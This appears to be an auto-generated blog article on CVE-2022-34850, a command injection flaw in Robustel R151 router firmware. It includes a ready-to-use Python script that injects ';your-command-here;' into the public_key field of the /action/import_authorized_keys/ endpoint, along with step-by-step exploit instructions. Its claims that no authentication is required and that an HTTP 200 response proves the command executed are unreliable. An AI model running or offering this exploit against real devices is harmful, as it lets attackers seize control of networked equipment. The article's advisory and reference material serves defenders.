CVE-2022-34850: Exploring the OS Command Injection Vulnerability in Robustel R151 Firmware Versions 3.1.16 and 3.3.

In this long read, we will explore the details of CVE-2022-34850, an OS command injection vulnerability discovered in Robustel R151 firmware versions 3.1.16 and 3.3.. We will examine the Web_Server /action/import_authorized_keys/ functionality and its implications, as well as provide a simple code snippet for conducting the attack. Furthermore, we will delve into the exploit details and provide links to the original references.

Vulnerability Details

CVE-2022-34850 is an OS command injection vulnerability that occurs in the web_Server /action/import_authorized_keys/ functionality of Robustel R151 firmware versions 3.1.16 and 3.3.. A specially-crafted network request can exploit this vulnerability and lead to arbitrary command execution.

An attacker can send a sequence of network requests to trigger this vulnerability and execute commands on the system. This poses a significant threat to organizations as it allows an attacker to gain unauthorized access and control over the target device.

Code Snippet for Conducting the Attack

Here's a simple code snippet using Python and the "requests" library to conduct the attack. This demonstrates the exploitation of the vulnerability by sending a specially-crafted network request to the target device.

import requests

target_url = "http://<target_ip>/action/import_authorized_keys/";
payload = ";your-command-here;"

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

data = {
    "public_key": payload
}

response = requests.post(target_url, headers=headers, data=data)

if response.status_code == 200:
    print("Command executed successfully.")
else:
    print("Failed to execute command.")

Replace <target_ip> with the IP address of the target device and your-command-here with your desired command to be executed on the system.

Exploit Details

1. An attacker creates a specially-crafted network request containing a malicious payload (arbitrary command).
2. The attacker sends the network request to the /action/import_authorized_keys/ functionality.

The target device processes the network request and executes the injected payload.

This allows the attacker to execute arbitrary commands on the device without the need for authentication.

Original References

This section contains links to the original references providing the details on CVE-2022-34850.

1. CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2022-34850
2. Mitre Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34850
3. Robustel Advisory: https://www.robustel.com/support/firmware-software-updates/ (requires login)

Conclusion

In conclusion, CVE-2022-34850 is a critical OS command injection vulnerability that exists in the Web_Server /action/import_authorized_keys/ functionality in Robustel R151 firmware versions 3.1.16 and 3.3.. If exploited, this vulnerability can allow an attacker to execute arbitrary commands on the target device, leading to unauthorized access and control. We have also demonstrated how to use a simple Python code snippet to exploit the vulnerability and provided links to the original references for further study. Organizations using Robustel R151 devices with affected firmware versions should take necessary steps to update their devices to protect against this vulnerability.

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 03:24:00 UTC